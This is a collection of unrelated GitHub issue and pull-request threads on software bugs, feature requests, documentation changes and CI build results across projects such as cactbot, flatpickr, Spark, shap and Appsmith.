><EMAIL_ADDRESS>find-translations C:\Users\gamer\Documents\GitHub\cactbot
> npm run util -- findTranslations "--locale=fr" "-f" "eureka_hydatos"

><EMAIL_ADDRESS>util C:\Users\gamer\Documents\GitHub\cactbot
> node --loader ts-node/esm util/index.ts "findTranslations" "--locale=fr" "-f" "eureka_hydatos"

(node:21276) ExperimentalWarning: --experimental-loader is an experimental feature. This feature could change at any time
(Use `node --trace-warnings ...` to show where the warning was created)
C:\Users\gamer\Documents\GitHub\cactbot\ui\raidboss\data\04-sb\eureka\eureka_hydatos.ts:102 BA Seal missing timelineReplace for regex '^^(?:00)\|(?:[^|]*)\|(?:0839)\|(?:[^|]*)\|(?:.* will be sealed off.*?)\|' (but have netRegexFr)

I need your help to figure out how to write the line it asks for or fix this bug.
Thank you all.

I haven't forgotten this; it's just complicated to fix, and I partially wonder if I can use #4201 to fix this instead.


Mod Profiles

Is your feature request related to a problem? Please describe.
When playing minecraft I like to switch out my modsets all of the time, which can be a hassle depending on your launcher.
Describe the solution you'd like
I propose a "profile" system, or a collection of mods, that you can easily switch to with a couple of clicks. It might be out of scope for this mod, but stuff like game settings per profile would also be nice.
Describe alternatives you've considered
Manually swap out mods with MultiMC or another launcher.
Additional context
I'm willing to do the dev time for something like this, if no one else wants to work on it.

What you need is ThatOrThis.

Should be evaluated after the rewrite


Android: Allow touches on clipped children when clipChildren==false

Summary
Currently overflow: visible allows showing child views that are outside the parent's bounds (well, overflow: visible on the grandparent allows that, not the parent).
But those non-clipped children do not receive touches.
This is an attempt to solve it.
Changelog
[Android] [Fixed] - overflow: visible now allows interaction with children that are rendered outside their parents' bounds.
Test Plan
Added overflow: visible, tapped on a button.

CI is broken. Tests pass and it still fails.


Installation procedure

I know it's just a matter of using go get but you should have basic installation instructions, IMHO.

@soh335  How to install Mac OS


File Open dialog issue

I'm having issues combining File Open dialogs and timers in the druid-shell hello example.
Currently File Open dialogs block while holding a mutable borrow on the WinHandler until the dialog comes back with a result path. If a timer event triggers while the dialog is open, it panics with "already borrowed".
#95 mentions a possible solution. Are there other solutions to consider?
As a workaround for now I don't block when opening the dialog, immediately returning an Err(Error:Null) in get_file_dialog_path and I have a closure that runs with the actual result but I'm not sure where to send it. If a solution is decided upon I can take a shot at a PR.

this seems like a limitation of the implementation of how open dialogs are currently implemented, and that wart should be addressed, maybe by attaching file-open to some sort of 'application' entity instead of to a window?


Flutter Basic BMI Calculator App

Have you read the Contributing Guidelines ?
Yes
Description
BMI Calculator is a basic level app development project that helps an individual to calculate his/her body mass index with just a few taps.
Fixes #341

Checklist

[x] I've read the contribution guidelines.
[x] I've checked the issue list before deciding what to submit.
[x] I've edited the README.md and link to my code.

Application

@Kushal997-das Kindly review my pull request under GSSoc'22

@Kushal997-das Can you please tell me which files you are referring to?

@Kushal997-das Can you please tell me which files you are referring to?

All .files means starting from . only.

@Kushal997-das Kindly check now I have removed all .files from the repo.

@photon149 check


DefaultPutResolver allow overriding id field name

Closes #165
@artem-zinnatullin Did you mean something like this?

Yes, exactly!
But I thought unit test will be enough :) Unit test definitely required

@nikitin-da I'm writing PutResolver for StorIOContentProvider and I just realised that "id" can be Object, it can be Long, String, whatever thing convertable to String, because SQLite operates with queries arguments as Strings
You can fix your PR and I'll change id to Object later, or you can do it as part of this PR, I'll create an issue for that

Roger that

Should I save integration test or it will be excess?

Save them, I think they will be useful :)

Updated=)

Great!


Removed sources and added new documentation

Removed sources
Added new documentation:

installation via API Network using web UI
installation via API Network using desktop app
contribution instructions

Please review the doc preview from the branch.

Please review the doc preview from the branch.

I'm amazed by the quality of the work here
Awesome @pozil

I'm amazed by the quality of the work here
Awesome @pozil


monthSelect crashs on Android WebView

can't provide a repro link as it is related to Android platform
Your Environment

flatpickr version used: 4.6.9
Browser name and version: Android WebView 91.0.4472.114
OS and version: Android 12 API 31

setting disableMobile to true fixes the issue

Not sure if this is the same issue but something similar is happening to me on all mobile devices whenever you call setDate('someDate', true) and the year changes.  Added a fiddle below, just need to run it in devtools while emulating any mobile device.
https://jsfiddle.net/bz1skt04/
When using a native date widget flatpickr does not initialize the property monthsDropdownContainer.  However, when changing the year through setDate(), flatpickr is trying to access monthsDropdownContainer and throws an error.

Not sure if this is the same issue but something similar is happening to me on all mobile devices whenever you call setDate('someDate', true) and the year changes. Added a fiddle below, just need to run it in devtools while emulating any mobile device.
https://jsfiddle.net/bz1skt04/
When using a native date widget flatpickr does not initialize the property monthsDropdownContainer. However, when changing the year through setDate(), flatpickr is trying to access monthsDropdownContainer and throws an error.

Just tested on iPhone and im seeing the "Script issue" in console but flatpickr still works, tested also on Android, it crashs and isn't usable

this still seems to be the case on latest version (4.6.13)
setDate with true parameter as second argument cause a crash due to the months dropdown being undefined if the year has changed


feat(transformer/async-to-generator): do not transform await expression if is not inside async function

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#7135
#7138  👈
#7134
#7132
#7131
#7125
#7113
#7107
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @Dunqing and the rest of your teammates on  Graphite

Merge activity

Nov 5, 6:21 AM EST: The merge label '0-merge' was detected. This PR will be added to the Graphite merge queue once it meets the requirements.


Chromely release to add CEF binaries version

Chromely release should mention what version of Chromium it uses (providing download link is very good option)

https://github.com/chromelyapps/Chromely/wiki/Custom-CEF-Binaries
Didn't you learn to read the documentation ?

What CEF Binaries do I need to install? I'd prefer for my users not to see the Chromely CEF popup - I'd rather package CEF as part of my installer.

Please see - https://github.com/chromelyapps/Chromely/issues/296#issuecomment-778537766
To suppress the popup during download, you can do a silent one:
   var config = DefaultConfiguration.CreateForRuntimePlatform();
   config.CefDownloadOptions.DownloadSilently = true;


Add fast access to scripts in README.md

Adding just a more fast access to scripts in the README.md. When we need to see the scripts more closely, we need back to top, access the directory script and then find the file. But we can do this better just pointing a link to the file inside README.md.

Some reviews? @maddox @mikemcquaid ?

Seems :cool:, thanks!

Thanks :)


Change lib.mergeAttrsList to lib.attrsets.mergeAttrsList

Hello,
This is a tiny change to use lib.attrsets.mergeAttrsList instead of lib.mergeAttrsList, because the latter doesn't seem to exist in nixpkgs-23.11.
Thanks for all the work on this project !

Ah wasn't aware of that (all my testing is done on unstable). I think we can maybe merge into trunk and then I'll rebase for plasma-5 branch soon if that's OK?

Yep LGTM

Nice. I'll try to get it into plasma-5 in not too long.


fix(util/worker): report worker queue length metrics

Codecov Report
Attention: Patch coverage is 10.00000% with 18 lines in your changes missing coverage. Please review.

Please upload report for BASE (main@01716a6). Learn more about missing BASE report.

Files with missing lines
Patch %
Lines

util/worker/observer/metrics.go
0.00%
17 Missing :warning:

util/worker/observer/logging.go
0.00%
1 Missing :warning:

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #34   +/-   ##
=======================================
  Coverage        ?   38.51%
=======================================
  Files           ?       94
  Lines           ?     6631
  Branches        ?        0
=======================================
  Hits            ?     2554
  Misses          ?     3932
  Partials        ?      145

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Style Transfer Improvements

Updated the variable names in Animator class to avoid ambiguity in Reference Coordinate systems.
To agree with the Deep Mimic paper, added the angular velocity loss for rigid bodies.
Added angular velocity to observations and loss, this improved style transfer performance by a huge margin.
Verbose documentation and variable names.
Updated the reward function to match the Deep Mimic paper.
Verified the training for the animations provided with the paper takes  8~24 hours.
Angles and Angular velocities are now in radians.
Updated the variables in Animator to actually contain velocities and angular velocities according to their names.

addresses #31


[Product Note] Debugging Experience

Problem statement
Developers on appsmith encounter syntactical and logic errors and thus need a way to debug the errors that are created
Success criteria
Developers who see any error on appsmith should be able to understand why the error occurred and what they should do to fix the error.
Core areas:

Property Pane Configuration
API / Query Configuration
Data Source Configuration

User story
The user while performing various actions on appsmith enters into an error state. His attention is drawn to the error and is given sufficient information on how to solve the error. He then takes the relevant action and the error disappears
Details
There are largely 2 types of errors that occur in appsmith

Syntax errors
Logical errors

Syntax Errors
These errors occur due to the user entering a value that is not compatible with the systems syntax specification. Since these errors violate a system constraint, they are detectable by the system and can be reported proactively. These errors are largely static and can be immediately reported.

An error in the binding syntax: Usually due to a missing bracket, undefined value, or unknown variable
An error while binding mismatched data types to a widget
An error in the query definition: Usually due to a mismatch in the query input and the db query language specification.
An error on the API: Usually due to invalid JSON being sent
An error in the data source config does not connect to the database correctly: Sometimes the db credentials might change causing existing data sources to stop working.

The core problems of syntax errors are:

Their error messages are poor
They are at times not discoverable
The instructions to fix them are not clear

Logical Errors
These are errors that occur due to the user making a logical mistake in their configuration such as missing a check or not enabling a certain configuration. Their inputs are all valid but do not result in their intended outcome which cannot be detected by the system because the user's intention cannot be gauged.

When a widget does not load the data in view mode because the query / API was not flagged as onPageLoad
When running an API fails due to incorrect values being sent
When running a query updates or fetches the wrong information
When triggering an action from a widget does not update another widget
When a widget is working in most cases when it was built but breaks suddenly in view mode because a null condition was not handled
When a query that was running fine suddenly starts timing out because the data set grew in size or network conditions deteriorated
When a query / DB connection fails to run because the user has not whitelisted our IP

The core problems of logic errors are:

They need sufficient related information to be presented in an easily consumable manner in order to debug them
The information should not overwhelm the developer and should allow drill-down

Solutions

Syntax Linting
Error console with clear messaging and CTAs
Application log with the changes in states
Entity relationships
Improved error messaging

Items not in the scope

This project will not cover ways to avoid making an error and only focus on how to recover from an error. Suggestions on how to avoid the error are welcome and will be logged as a separate task
Performance-related problems will not come under the scope of this project and the focus will remain on 0/1 scenarios i.e working / not working
This project will assume that the developer is able to reproduce 100% of the errors and is not to help developers reproduce an issue

Links
https://miro.com/app/board/o9J_kivj-zU=/
https://www.figma.com/file/EdC0j0XwxyC9Flqzxyoxuf/Debugger?node-id=387%3A670

Logs (Dynamic Errors)

Action started execution from - Widget / User

Request

Action completed execution in 100ms

response

Action timeout in 100ms
Action returns with an error in 100ms

error

Action updated
Widget Updated

property changed
Failed to update widget property

Action created
Widget created
Navigated to page1 with params { “key”: “value” }
StoreValue “accessToken” “asdadsqwqeqwas”
Downloading filename data
Show Message “Hello”, “Success”
Open Modal “Modal1”
Close Modal “Modal1”
Failed to execute Button1 onClick

Error (static config errors)

[Table1] API1 is not defined
[Dropdown1] options does not evaluate to type array < label: string, value, string>
[API1] post body is not a valid JSON

, missing in line 2, col 14

Things yet to figure out

Relationships: Find Usages & Find References (Who all are updating me and who all am I updating)
Debugger Location: API pane / Query pane / Canvas / Data sources

Updates from conversation with Nikhil:

Console log will show all events as they occur.
Problems tab will show active problems. We'll track problems at the property level.

Updates from conversation with Hetu:
Property paths from widgets can be figured out today from the invalidProps, we'll need to add the ability to mark action execution being valid or broken.

Relationships: Find Usages & Find References (Who all are updating me and who all am I updating)

This is present in redux state now, we can pick it up whenever we feel the need to display it.

Updates from conversation with Nikhil:

Console log will show all events as they occur.
Problems tab will show active problems. We'll track problems at the property level.

Updates from conversation with Hetu:
Property paths from widgets can be figured out today from the invalidProps, we'll need to add the ability to mark action execution being valid or broken.

Relationships: Find Usages & Find References (Who all are updating me and who all am I updating)

This is present in redux state now, we can pick it up whenever we feel the need to display it.

@akash-codemonk adding a list of issues to solve in the debugger
Issues:

[ ] Logs messages should be copyable
[ ] The [Action] or [Widget] in the log can be replaced by the name of the widget. So the message can read "[Table1] Widget Created". The name of the widget should be clickable in the message itself.
[ ] When a widget property fails evaluation, add an error log "[Table1] tableData does not evaluate to type Array"
[ ] Adding console.log("Hello") to the onClick of a button should display the log in the debugger
[ ] Maintain a max queue for the logs like 1000 records and paginate it from the local storage so it does not slow down the app
[ ] Widget deletion is not showing up
[ ] Need an option to clear logs
[ ] Show the logs in the query section also
[ ] Action execution response should only the actual response and not the top-level object
[ ] on action success, the message can be [Query1] Executed successfully
[ ] Instead of Action property updated, the message can be [Query1] Configuration updated
[ ] Message for action creation can be [Query1] Action Created
[ ] On execution start, the message can be [Query1] Execution started, the body object should have only the final SQL / Query config that gets executed
[ ] Display only updates for properties in Property Pane and internal properties (selectedRow)
[ ] Internal property updates are not showing (clicking a selected row in a table)
[ ] Trigger properties execution should be logged: [Button1] onClick Triggered, [Table1] onRowSelected Triggered
[ ] Triggering Framework Actions should display an log of the format "navigateTo("Page1") was triggered"
[ ] When the API fails, we should display the request that is shown in the request tab and not the request which went from the client in the log. The status code of the request should be shown in the message: [API1] Execution failed with status 401 200ms
@Debsourabh should we also kill the request tab now? Why do we need it if we have logs?
[ ] Deleting APIs / Queries should show
[ ] Creating / Deleting / Updating / Testing Datasources should show in logs with the messages
[MockDb] Datasource created
[MockDb] Datasource deleted
[MockDb] Datasource deletion failed due to 5 related queries
[MockDb] Datasource configuration saved
[MockDb] Test Connection successful
[MockDb] Test Connection failed
[MockDb] Datasource structure retrieved
[MockDb] Datasource structure could not be retrieved

Adding more feedback

[ ] The logs should auto-scroll to the latest log entry
[ ] The query pane is missing the debugger
[ ] API errors should be in red
[ ] The entity name should be in the filter when the debugger is opened from the entity
[ ] The debugger should be triggerable from the property pane error message
[ ] The API URL and other information are missing from the API execution request log
[ ] An error tab is needed which should have the current errors of all entities
[ ] If 2 updates are triggered back to back from the same entity, group them
[ ] Debugger should be triggerable from the view mode if the user has edit access on the application

[ ] API request does not match the format in the request tab
[ ] Kill the request tab on the API
[ ] Error tab is missing in the API pane
[ ]  The copy icon can be replaced with a CTA to open the omnibar with the message pre-filled
[ ] Clicking anywhere on the log should expand it
[ ] The entity name should show at the right end of the log
[ ] There should be an X to clear the filter in the debugger
[ ] the errors should only go if the property which had the error got resolved. Now it goes if any property is fixed
[ ] If there is no error, we should open the logs by default
[ ] Logs and error are not showing on the query page
[ ] Empty state for when there are no logs / errors
[ ] Widgets need an error state
[ ] Dropdown remains in an error state saying selectedOptionValues does not match type Array/List
[ ] Widget property error messages don't match the error message in the evaluated value
[ ] The error message for some widgets isn't triggered the first time the widget goes into a bad state it needs 2 updates
[ ] Actions with invalid values should throw an error. There should be a toast message and it should show in the debugger
[ ] Show alert was triggered message has an extra closing bracket
[ ] There should be a debug request CTA on the Query Page when there is an error (same as on API pane today) which opens the debugger error with the error expanded
[ ] All error messages should have a debug button that will open the debugger log expanded. This will have a CTA to search the documentation in the omnibar with that error message
[ ] The debugger should be resizable

[ ] All filter is not working when you switch between success and error back to All
[ ] Show the entity name in the message
[ ] Request is showing headers as an array
[ ] Table error is disappearing if the table data is empty and the user clicks anywhere outside the table
[ ] Hide the request tab
[ ] Show request error message should take the user to the error tab on API / Query
[ ] The most recent error log should always be expanded
[ ] User should be able to resize the debugger to any height till the top bar
[ ] Opening the omnibar should not close the debugger
[ ] Don’t group error messages in the error tab
[ ] Hitting search from the top error message should search by the relevant human-readable message
[ ] Make query pane and API pane draggable response / logs section resizable and consistent
[ ] Debug button in the toasts are missing

[ ] Logs is not triggering omnibar correctly
[ ] Add an empty state in omnibar to join discord
[ ] New CTA for the omnibar on the debugger and rest of the app
[ ] Don’t close debugger when navigating to an entity
[ ] Error log for property error should be the same as the log
[ ] Add default values to isRequired, isVisible and isDisabled of all widgets so that the error does not come when dropping it
[ ] Debugger error tab crashes when running this API and navigating to the logs tab https://api.razorpay.com/v1/orders?count=2&skip=1
[ ] When there is an error in action and no response, the UI needs to be updated
[ ] When there is an error in action and response the UI needs to be updated

[ ] If the table is deleted, the error does not disappear from the console
[ ] Log is showing showAlert(Label) was triggered instead of showAlert("Label")
[ ] Resize the section above the debugger in API / Query when the debugger is resized
[ ] Needs to be a close button in the datasource and add API page as well
[ ] Empty state in the error tab is missing when there are no errors on the platform

[ ] Relationships disappear even when the entities are selected
[ ] The relationships should show at the top level with only the entity names not the bindings
[ ] The relationships should show in the API / Query pane
[ ] There needs to be a message in the empty state for the user to select an entity
[ ] The text inside needs to be selectable and copyable
[ ] Only errors related to user configuration should have a debug icon in the toast
[ ] When there is an error in the widget data, print the evaluated value in the logs


Feature: Support Sysmon logs

Support Sysmon schema

@mime-frame pls provide details: where is the data stored, what is an example log, etc

@jacknagz done


Test case for issue #260

sorry can you please make it into a separate test method - this kind of all in one tests are not so easy to maintain.

Thanks.


Evaluator: EFF needs to be incremented when no failures are found

The evaluator assumes EFF=2. EFF needs to be incremented (up to EOT-1) until a violation is found.

Sketch solution:
Change the evaluator signature such that it returns solution. Create a super function that increments EFF until the evaluator returns a non-empty true solution map or when EFF = EOT.


BUG: grad can be implicitly created only for scalar outputs

Issue Description
I am encountering an issue while attempting to explain image data using the DeepExplainer with an FCN model. The shape of my feature data is [batch, 7, 256, 256], and the label data has a shape of [batch, 1, 256, 256]. Interestingly, during training with my custom model, everything works as expected. However, when I use the DeepExplainer for explanation, unexpected issues arise. Any insights into what might be causing this discrepancy would be greatly appreciated.
Minimal Reproducible Example
def train(model, device, train_loader, optimizer, epoch):
    model.train()
    batch_num = len(train_loader)
    criterion = nn.MSELoss()
    for batch in range(batch_num):
        feature, label, _ = train_loader()
        feature, label = feature.to(device), label.to(device)
        output = model(feature)
        optimizer.zero_grad()
        loss = criterion(output, label)
        loss.backward()
        optimizer.step()
        print('batch: ', batch, 'loss: ', loss.item())

batch = data_loader()
feature, label, _ = batch
feature, label = feature.to(device), label.to(device)
# explainer = shap.GradientExplainer(model, feature[:10])
explainer = shap.DeepExplainer(model, feature[:10])
shap_values = explainer.shap_values(feature[11:12])
shap.image_plot(shap_values, -feature)

Traceback
Traceback (most recent call last):
  File "/home/admin1/Softwares/anaconda3/envs/MTL/lib/python3.9/runpy.py", line 197, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "/home/admin1/Softwares/anaconda3/envs/MTL/lib/python3.9/runpy.py", line 87, in _run_code
    exec(code, run_globals)
  File "/home/admin1/.vscode-server/extensions/ms-python.python-2023.22.1/pythonFiles/lib/python/debugpy/adapter/../../debugpy/launcher/../../debugpy/__main__.py", line 39, in <module>
    cli.main()
  File "/home/admin1/.vscode-server/extensions/ms-python.python-2023.22.1/pythonFiles/lib/python/debugpy/adapter/../../debugpy/launcher/../../debugpy/../debugpy/server/cli.py", line 430, in main
    run()
  File "/home/admin1/.vscode-server/extensions/ms-python.python-2023.22.1/pythonFiles/lib/python/debugpy/adapter/../../debugpy/launcher/../../debugpy/../debugpy/server/cli.py", line 284, in run_file
    runpy.run_path(target, run_name="__main__")
  File "/home/admin1/.vscode-server/extensions/ms-python.python-2023.22.1/pythonFiles/lib/python/debugpy/_vendored/pydevd/_pydevd_bundle/pydevd_runpy.py", line 321, in run_path
    return _run_module_code(code, init_globals, run_name,
  File "/home/admin1/.vscode-server/extensions/ms-python.python-2023.22.1/pythonFiles/lib/python/debugpy/_vendored/pydevd/_pydevd_bundle/pydevd_runpy.py", line 135, in _run_module_code
    _run_code(code, mod_globals, init_globals,
  File "/home/admin1/.vscode-server/extensions/ms-python.python-2023.22.1/pythonFiles/lib/python/debugpy/_vendored/pydevd/_pydevd_bundle/pydevd_runpy.py", line 124, in _run_code
    exec(code, run_globals)
  File "/home/admin1/Projects/MultiTasklearning/Codes/CircuitNet-Single/shap_test.py", line 84, in <module>
    shap_values = explainer.shap_values(feature[11:12])
  File "/home/admin1/Softwares/anaconda3/envs/MTL/lib/python3.9/site-packages/shap/explainers/_deep/__init__.py", line 125, in shap_values
    return self.explainer.shap_values(X, ranked_outputs, output_rank_order, check_additivity=check_additivity)
  File "/home/admin1/Softwares/anaconda3/envs/MTL/lib/python3.9/site-packages/shap/explainers/_deep/deep_pytorch.py", line 191, in shap_values
    sample_phis = self.gradient(feature_ind, joint_x)
  File "/home/admin1/Softwares/anaconda3/envs/MTL/lib/python3.9/site-packages/shap/explainers/_deep/deep_pytorch.py", line 125, in gradient
    grad = torch.autograd.grad(selected, x,
  File "/home/admin1/Softwares/anaconda3/envs/MTL/lib/python3.9/site-packages/torch/autograd/__init__.py", line 288, in grad
    grad_outputs_ = _make_grads(t_outputs, grad_outputs_, is_grads_batched=is_grads_batched)
  File "/home/admin1/Softwares/anaconda3/envs/MTL/lib/python3.9/site-packages/torch/autograd/__init__.py", line 88, in _make_grads
    raise RuntimeError("grad can be implicitly created only for scalar outputs")
RuntimeError: grad can be implicitly created only for scalar outputs

Expected Behavior
No response
Bug report checklist

[X] I have checked that this issue has not already been reported.
[X] I have confirmed this bug exists on the latest release of shap.
[X] I have confirmed this bug exists on the master branch of shap.
[X] I'd be interested in making a PR to fix this bug

Installed Versions
shap 0.44.0

Thanks for the report @yaba-hun. From the code you posted I cannot understand what is going wrong and in your example there are a few things missing for us to reproduce it. We would need the definition of the model + loading of the data to reproduce this.

I have the same error output. I have a 1D CNN model that outputs (Batch, #Signals, #Signal Length)

@ncuxomun Would you be so kind to provide an example that reproduces the error? Including the definition of the data and the model?

@ncuxomun Would you be so kind to provide an example that reproduces the error? Including the definition of the data and the model?

Please find an example as requested:
#%%
pytorch relates imports
import torch
import torch.nn as nn
import torch.optim as optim
import shap
%%
X_train = torch.randn(size=(100, 5, 30))
y_train = torch.randn(size=(100, 1, 30))
%%
X_train = torch.FloatTensor(X_train)
y_train = torch.FloatTensor(y_train)
datasets = torch.utils.data.TensorDataset(X_train, y_train)
train_iter = torch.utils.data.DataLoader(datasets, batch_size=10, shuffle=True)
%%
batch_size = 16
num_epochs = 200
learning_rate = 0.0001
size_hidden1 = 100
size_hidden2 = 50
%%
class dummy_model(nn.Module):
def init(self, in_c=5, out_c=1, dp_rate=0.025, lr=2e-4):
super().init()
self.model = nn.Sequential(
nn.Conv1d(in_channels=in_c, out_channels=in_c3, kernel_size=3, stride=1, padding=0),
nn.ReLU(),
nn.Dropout(dp_rate),
nn.Conv1d(in_channels=in_c3, out_channels=in_c4, kernel_size=2, stride=1, padding=2),
nn.ReLU(),
nn.Dropout(dp_rate),
nn.Conv1d(in_channels=in_c4, out_channels=out_c, kernel_size=2, stride=1, padding=0),
)
def forward(self, input):
    return self.model(input)

model = dummy_model()
model.train()
%%
criterion = nn.MSELoss(reduction='mean')
def train(model_inp, num_epochs = num_epochs):
optimizer = torch.optim.RMSprop(model_inp.parameters(), lr=learning_rate)
for epoch in range(num_epochs):  # loop over the dataset multiple times
running_loss = 0.0
for inputs, labels in train_iter:
# forward pass
outputs = model_inp(inputs)
# defining loss
loss = criterion(outputs, labels)
# zero the parameter gradients
optimizer.zero_grad()
# computing gradients
loss.backward()
# accumulating running loss
running_loss += loss.item()
# updated weights based on computed gradients
optimizer.step()
if epoch % 20 == 0:
print('Epoch [%d]/[%d] running accumulative loss across all batches: %.3f' %
(epoch + 1, num_epochs, running_loss))
running_loss = 0.0
%%
train(model)
%%
explainer = shap.DeepExplainer(model=model, data=X_train[:50])
shap_values = explainer.shap_values(X=X_train[:50])

Hello all. I have exactly the same issue. The output of my model is 2D images that each pixel represents the most probable class (0-5) after applying argmax. When i try to appy the deepExplainer like this '' explainer = shap.DeepExplainer(model, background[:100]) '' , i get the same error.  Has anyone found a solution yet?  Thanks

I have the same error. It seems that the output of our model should be a 'scaler' ?


[Bug]: Build the code from source

Is there an existing issue for the same bug?

[X] I have checked the existing issues.

Branch name
main
Actual behavior
ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.
fastembed 0.2.6 requires huggingface-hub<0.21,>=0.20, but you have huggingface-hub 0.23.3 which is incompatible.
fastembed 0.2.6 requires tokenizers<0.16.0,>=0.15.1, but you have tokenizers 0.19.1 which is incompatible.

Expected behavior
No dependency error.
Steps to reproduce
Use requirements.txt to install python package.

This will be a non problem once #1052 is completed. I have a partial migration to Poetry and in the process to rewriting the deployment script to test it out.

We've replaced pip with poetry. Poetry is much better on dependency management and download speed.


How to make relative refs work?

If I have the following folder structure:
./schemas
    - contents.schema.json
    - /room
        - cupboard.schema.json
        - shelf.schema.json

Where contents has a ref to ./room/cupboard.schema.json
How do I add a ref inside cupboard to shelf?
./shelf.schema.json does work if I have an endpoint that uses cupboard directly. But doesn't if I have another endpoint that uses contents.schema.json?

I dug through the code a bit to try and work out what's going on. The ResolverCache is initialised with a parent directory that it always uses. I've got to a point where I have the directory it should be used passed in through loadRef and resolved all the compile errors associated (a change there propagates quite a way!). It should also fix a related issue which is that relative URL refs don't seem to be supported.
No tests currently pass though and I think a much better way to do this would be to change the Model and Swagger classed to have a location property that allows any refs contained within to be resolved better. If you'd like me to share where I'm at with this, I can submit a PR for your amusement.

this has been added as of 1.0.18


Assemble game assets (icons & images)

unpackGameIcons() & unpackGameMaps() should be used to unpack assets. Not all assets are helpful in app, but we should place required ones under a folder to be used in WoWs Info. Naming may be adjusted so that it is easier to read from the app. We should also discuss about whether to put icon file names in our json data similar to #3

The total size is 32 MB now. However, this is not an issue as for now.

Icon name is often the key name so we will be validating it unless it is different.


Improve availability

Disable purchases on unavailable.
Allow to configure stock levels for each threshold.

I'm not so familiar with the structures used in the 1.0.0 branch: Will the new availability behaviour be in a component that can removed/replaced/disabled? (We're using stock information from a third-party service and permit purchases of unavailable items - shipping of presently unavailable items will be delayed, of course.)

Nothing planned yet, this will likely be an epic to improve this on all levels, so any input is welcome and taken into account :)


[SPARK-34952][SQL][FOLLOW-UP] DSv2 aggregate push down: update doc

What changes were proposed in this pull request?
update java doc and JDBC data source doc.
Why are the changes needed?
update doc with the new changes
Does this PR introduce any user-facing change?
Yes, add the new JDBC option pushDownAggregate in JDBC data source doc.
How was this patch tested?
manually checked

cc @cloud-fan @viirya

Test build #141663 has started for PR 33526 at commit 4a37da5.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/46179/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/46179/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/46179/

Test build #141663 has finished for PR 33526 at commit 4a37da5.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/141663/

Test build #141674 has started for PR 33526 at commit 21ef1a1.

cc @sunchao

Test build #141675 has started for PR 33526 at commit 6e73fb3.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/46190/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/46190/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/46191/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/46190/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/46191/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/46191/

Test build #141674 has finished for PR 33526 at commit 21ef1a1.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/141674/

Test build #141675 has finished for PR 33526 at commit 6e73fb3.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/141675/

Test build #141712 has started for PR 33526 at commit d204505.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/46225/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/46225/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/46225/

Test build #141712 has finished for PR 33526 at commit d204505.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/141712/

Test build #141735 has started for PR 33526 at commit 90356c8.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/46248/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/46248/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/46248/

Test build #141735 has finished for PR 33526 at commit 90356c8.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/141735/


should pin down all dependencies

Find and pin down all the dependencies to use the fixed version instead.
For example:

vagrant base box version
chef version
etc.

We're going to release v0.5.0 soon so it's required that by default we must pin down all dependencies to be fixed into the specified version to avoid unexpected behavior in the future.

closed, invalid for v0.6.0


IDBIndex is not defined

I am working on single page web app and trying to make it offline using serviceworker and IndexedDb, But I am not able to use this library for IndexedDb becasue during the gulp serve it is throwing this: 'ReferenceError: IDBIndex is not defined
at /home/user/Desktop/cincinati/my_app/node_modules/idb/lib/idb.js:87:40' tell me what to do
'

This library is designed to run in the browser, not in node. Or am I misunderstanding the issue?

Closing due to lack of feedback - feel free to reopen


Makes the status a subresource in the CRD.

Signed-off-by: David Fowler<EMAIL_ADDRESS>What does this PR do?

[ ] Adds new functionality
[x] Alters existing functionality
[ ] Fixes a bug
[ ] Improves documentation or testing

Please briefly describe your changes as well as the motivation behind them:

Makes the status a subresource in the CRD. See https://github.com/DataDog/chaos-controller/issues/511.
Store UserInfo in annotations

Code Quality Checklist

[ ] The documentation is up to date.
[ ] My code is sufficiently commented and passes continuous integration checks.
